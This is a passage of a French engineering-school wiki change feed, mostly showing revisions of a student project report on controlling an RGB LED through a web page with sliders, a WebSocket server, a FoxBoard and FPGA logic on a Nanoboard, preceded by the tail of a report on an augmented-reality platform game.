Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
=====Partie Jeu=====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20104</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20104"/>
				<updated>2015-04-16T13:33:40Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Installation : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
===Installation :=== &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école (ainsi que l'ordinateur avec la page WEB) et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]&lt;br /&gt;
&lt;br /&gt;
Ainsi que les codes : [[Fichier:ProjetSC.zip]]&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20103</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20103"/>
				<updated>2015-04-16T13:32:47Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Installation : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
